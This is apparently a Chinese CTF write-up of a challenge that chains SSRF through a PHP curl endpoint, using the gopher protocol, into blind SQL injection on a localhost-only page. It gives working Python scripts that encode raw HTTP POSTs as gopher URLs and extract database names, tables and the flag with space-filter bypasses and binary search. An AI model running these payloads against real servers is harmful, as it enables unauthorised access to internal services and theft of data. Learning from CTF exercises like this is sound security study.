SSRF

本文最后更新于:10 个月前

SSRF

2023ROIS冬令营internal

这是什么,两个超链接,点一下(

​ SQLI页面中的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('config.php');

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
highlight_file(__FILE__);
die('Try to access it from internal!');
}
echo "Welcome!\n";
$id = $_POST['id'];
if (preg_match("/union| /i",$id))
die('You bad bad >_<');
$con = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_DATABASE);
$sql = "SELECT * FROM messages WHERE id=$id"; // SQLI >_<
$res = mysqli_query($con, $sql);
$message = mysqli_fetch_array($res)['message'];
echo $message;
#回显Try to access it from internal!

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1')用户访问的IP必须是本地IP才能进行下面的数据库操作等步骤,也就是说只有通过网页服务器内网访问。如果我们能够通过这个服务器中的另外一个不限制于内网访问的页面,把它当做跳板间接对这个仅内网访问的页面进行操作,就能进行传参等操作。也就是实现SSRF。先看另外一个页面:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
// Hint: Do you know gopher?
$url = $_POST['url'];
if (preg_match("/file:|ftp:|http:|scp:|dict:/i",$url))
die('You bad bad >_<');
$ch = curl_init($url);
$res = curl_exec($ch);
echo $res;

curl_init()函数初始化一个curl绘会话,值传给$chcurl_exec()函数执行一个curl会话,值传给$res。最后将结果打印出来。既然可以执行curl,那么不就意味着可以通过这个页面对SQLI页面进行传参等操作了吗。给出了提示:"Do you know gopher?"。emmm。。。并不知道。那就学呗。找到了一篇讲的比较详细的文章学习了一下。

gopher是啥?它是一种协议,支持发出GET、POST请求:可以先截获get请求包和post请求包,再构成符合gopher协议的请求。

gopher协议的格式:

1
gopher://<host>:<port>/_后接TCP数据流

需要注意的是,TCP数据流必须是经过url编码的,并且回车和换行必须是%0D%0A,使用脚本或工具编码后回车换行会变成%0A,因此要多一步replace的步骤。在HTTP包的最后要加%0D%0A,代表消息结束(具体可研究HTTP包结束)。以下是通过gopher协议传参的一次示例:

GET请求:

准备好一个监听机和一个用户机:

nc -lp 1234监听1234端口,使用curl发送http请求curl gopher://172.17.0.1:1234/abcd,监听机收到消息为”bcd”;发送请求curl gopher://172.17.0.1:1234/aabcdnc监听到abcd。因此紧跟在"<PORT>/"字符后面的一个字符会被忽略,可换为任意一个字符。

这是一段网页源码,作用是将GET传入的name的值打印出来:

1
2
3
4
<?php
echo "Hello ".$_GET["name"]."\n"
?>
#保存为ssrf.php

这是一个GET请求包

1
2
3
GET /ssrf.php?name=Potatowo HTTP/1.1
Host: 172.17.0.1
#回车

经Python脚本编写,生成对应的请求包

1
2
3
4
5
6
7
8
9
10
11
import urllib.parse
data = \
"""GET /ssrf.php?name=Margin HTTP/1.1
Host: 172.17.0.1
#该行要有回车,HTTP数据包结尾
"""
result = urllib.parse.quote(data)
result = result.replace("%0A","%0D%0A")#此处将"%0A"替换成"%0D%0A"
print(result)
#output
#GET%20/ssrf.php%3Fname%3DMargin%20HTTP/1.1%0D%0AHost%3A%20172.17.0.1%0D%0A

改为构成符合gopher协议的请求后通过curl发出请求:

1
2
curl gopher://172.17.0.1:8080/_GET%20/ssrf.php%3Fname%3DMargin%20HTTP/1.1%0D%0AHost%3A%20172.17.0.1%0D%0A
#注意"8080/"后面紧跟着一个"_"字符。

POST请求:

这是一段网页源码,功能不做过多赘述:

1
2
3
4
<?php
echo "Hello ".$_POST["name"]."\n"
?>
#保存为ssrf.php

这是一个POST请求包:

1
2
3
4
5
6
7
POST /ssrf/base/post.php HTTP/1.1
host:172.17.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=Potatowo
#回车

改为构成符合gopher协议的请求后通过curl发出请求:

1
2
curl gopher://172.17.0.1:8080/_POST%20/ssrf/base/post.php%20HTTP/1.1%0D%0Ahost%3A172.17.0.1%0D%0AContent-Type%3Aapplication/x-www-form-urlencoded%0D%0AContent-Length%3A11%0D%0Aname%3DPotatowo%0D%0A%0D%0A
#注意"8080/"后面紧跟着一个"_"字符。

现在回到本题;

既然用得到请求包,那就先bp抓包,对SQLI页面传参,那就抓SQLI页面的包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib.parse
data = \
"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1#使用脚本时删掉该注释,此处要把原包ip改为改为127.0.0.1
Content-Length: 4
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=1

"""
result = urllib.parse.quote(data)
result = result.replace("%0A","%0D%0A")
result = result = urllib.parse.quote(result)
#要注意!!如果是希望在浏览器里传参,则要编码两次!!浏览器会自动解码一次,后端解码一次;但是像下面
#要讲的用python的requests库直接传参就只需要编码一次因为不需要经过浏览器解码
print(result)
#output
#POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%25204%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/109.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250Aid%253D1%250D%250A%250D%250A

改为符合gopher协议的形式,注意由于curl_exec()的执行是在服务端里进行的,所以gopher://协议的地址应改为127.0.0.1:80,80端口是跑web服务的端口。

将脚本中的content进行修改,content = "id=1 and 1=1",传入,结果:

emmm。。这时候突然想起来SQLI页面是不是有过滤来着赶紧打开看了眼

1
2
if (preg_match("/union| /i",$id))
die('You bad bad >_<');

看来是ban掉了union和空格。难怪,那改成content = "id=1/**/and/**/1=1"绕过空格过滤,回显"Welcome! meow meow meow~1",改成content = "id=1/**/and/**/1=2",回显"Welcome! 1"。sql语句判断为真会返回"Welcome! meow meow meow~1",为假不含meow meow meow~,同时union被ban了,尝试用加号拼接"uni","on",结果加号url编码与空格相同(悲,现在意图也比较明显了,布尔盲注。

完善脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.parse
import requests
url = "http://192.168.150.1:43083/curl.php"
for i in range(0,126):
content = "id=1 and (length(database())={})#".format(i)
content = content.replace(" ", "/**/")#SQL页面存在空格过滤用/**/绕过
content_length = len(content)
data = \#切记切记下面字符串每行左边要贴边,不然tab会被编码
f"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Length: {content_length}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{content}

"""
result = urllib.parse.quote(data)
result = result.replace("%0A","%0D%0A")
payload = "gopher://127.0.0.1:80/_"+result#用python直接传参只需要编码一次
r = requests.post(url,data={"url":payload}).text
#print(r)
if "meow" in r:#如果sql返回为真,页面会显示"meow meow~"
print(i)
break
#output
#3

输出3,得出数据库长度为3。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib.parse
import requests
url = "http://192.168.150.1:43083/curl.php"
database = ""
for i in range(1,100):
for j in range(32,126):
content = "id=1 and (ascii(substr(database(),{},1))={})#".format(i,j)#判断数据库名第i个字符的ascii码是否为j,是的话为真会返回"meow"
content = content.replace(" ", "/**/")#SQL页面存在空格过滤用/**/绕过
content_length = len(content)
data = \
f"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Length: {content_length}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{content}

"""
result = urllib.parse.quote(data)
result = result.replace("%0A","%0D%0A")
payload = "gopher://127.0.0.1:80/_"+result
r = requests.post(url,data={"url":payload}).text
#print(r)
if "meow" in r:
database += chr(j)
print(database)
break
#output
#r
#ru
#rua
#数据库名为rua

同样,爆表名,因为可能存在多个表,所以使用group_concat()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for i in range(1,100):
for j in range(32,126):
content = "id=1 and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),{},1))={})#".format(i,j)
...........
#output
#f
#fl
#fla
#flag
#flag,
#flag,m
#flag,me
#flag,mes
#flag,mess
#flag,messa
#flag,messag
#flag,message
#flag,messages

盲猜flag在flag表里,爆字段名:

1
2
3
4
5
6
7
8
9
for i in range(1,100):
for j in range(32,126):
content = "id=1 and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'flag'),{},1))={})#".format(i,j)#爆字段名
...........
#output
#f
#fl
#fla
#flag

已知信息:

数据库rua、表flag、字段flag,爆flag内容:

1
2
3
for i in range(1,100):
for j in range(32,126):
content = "id=1 and (ascii(substr((select group_concat(flag) from flag),{},1))={})#".format(i,j)#爆flag表内容

拿到flag,本题还可以用二分法优化算法,附上L1ao学长的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import urllib.parse
import requests

def fuck():
url = "http://192.168.150.1:43083/curl.php"
result=""
for i in range(1,1290):
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
sqli = "1/**/and/**/if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))>{},1,0)%23".format(i,mid)
sqli = "1/**/and/**/if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='rua'),{},1))>{},1,0)%23".format(i,mid)
sqli = "1/**/and/**/if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))>{},1,0)%23".format(i,mid)
sqli = "1/**/and/**/if(ascii(substr((seLect(flag)from(rua.flag)),{},1))>{},1,0)%23".format(i,mid)
id = urllib.parse.quote(sqli)
id_length = len(id)+3
payload = f"""POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Length: {id_length}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id={id}

"""
# print(payload)
tmp = urllib.parse.quote(payload)
new = tmp.replace("%0A","%0D%0A")
res = 'gopher://127.0.0.1:80/_' + new
dataa = {
"url":res
}
r = requests.post(url=url,data=dataa)
# print(r.text)
if "meow meow meow" in r.text:
head=mid+1
else:
tail=mid
if head !=32:
result+=chr(head)
else:
break
print(result)
fuck()